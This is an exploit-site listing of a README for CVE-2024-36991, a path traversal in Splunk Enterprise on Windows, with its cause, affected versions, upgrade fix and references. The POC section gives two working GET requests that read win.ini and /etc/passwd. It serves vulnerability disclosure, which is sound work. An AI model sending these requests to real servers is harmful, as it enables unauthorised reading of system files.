Sploitus

Exploit for Path Traversal in Splunk

githubexploit Β· 2024-07-06

Exploit Code

README39 lines
## https://sploitus.com/exploit?id=E661B5FE-77F3-5666-BB90-2BF814684E13
# CVE-2024-36991

> Path Traversal On The β€œ/Modules/Messaging/β€œ Endpoint In Splunk Enterprise On Windows 

In Splunk Enterprise versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows.

The vulnerability exists because the Python os.path.join function removes the drive letter from path tokens if the drive in the token matches the drive in the built path.

This vulnerability should only affect Splunk Enterprise on Windows.

# POC

```
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd
```


# Affected

affected from 9.2 before 9.2.2 

affected from 9.1 before 9.1.5 

affected from 9.0 before 9.0.10 

# Solution

Upgrade Splunk Enterprise to versions 9.2.2, 9.1.5, and 9.0.10, or higher.

# Credits

Danylo Dmytriiev (DDV_UA)

# References

- https://advisory.splunk.com/advisories/SVD-2024-0711
- https://vulners.com/cve/CVE-2024-36991